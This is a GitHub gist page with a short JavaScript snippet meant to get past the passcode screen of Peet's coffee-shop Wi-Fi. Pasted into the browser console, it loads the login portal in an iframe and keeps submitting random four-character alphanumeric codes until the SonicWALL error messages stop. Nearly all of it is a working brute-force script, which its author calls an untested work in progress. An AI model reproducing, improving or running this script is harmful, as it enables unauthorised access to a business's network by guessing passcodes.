Skip to content

Instantly share code, notes, and snippets.

@jmtame
Created August 12, 2012 02:45
Show Gist options
  • Save jmtame/3329217 to your computer and use it in GitHub Desktop.
Save jmtame/3329217 to your computer and use it in GitHub Desktop.
circumvent peet's wifi password screen
// a work in progress... so far it runs, but i need to let it run longer to test.
// memoizing would be good for the passcodes
// to test this yourself, see instructions to inject jquery offline: http://jmtame.posterous.com/inject-jquery-offline
var element1 = document.createElement("script");
element1.src = "chrome-extension://aaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccc/jquery.min.js"; // update this manually
element1.type="text/javascript";
document.getElementsByTagName("head")[0].appendChild(element1);
var el = document.createElement("iframe");
el.setAttribute('id', 'iframe');
document.body.appendChild(el);
el.setAttribute('src', 'http://www.google.com');
var iterations = 0;
// paste this second, after you've done the previous two parts
function delay() {
setTimeout("tryPasscode()", 50);
}
function tryPasscode() {
//do {
chars = new Array ('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
charCount = chars.length;
stringLength = 4;
var passcode = "";
function mkRandomString() {
i = 0;
do {
random = Math.floor((Math.random()*charCount));
rand_char = chars[random];
passcode += rand_char;
i++;
}
while (i<stringLength);
}
mkRandomString();
console.log("trying " + passcode);
$("iframe").contents().find("input[type='password']").attr("value",passcode);
$("iframe").contents().find("form").submit();
iterations += 1;
if ( $("iframe").contents().find(".lhmError").length == 0 || $("iframe").contents().find(".lhmError").html() == "Passcode incorrect or already in use." || $("iframe").contents().find(".lhmError").html() == "Login to SonicWALL failed." ) {
delay();
}
}
tryPasscode();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment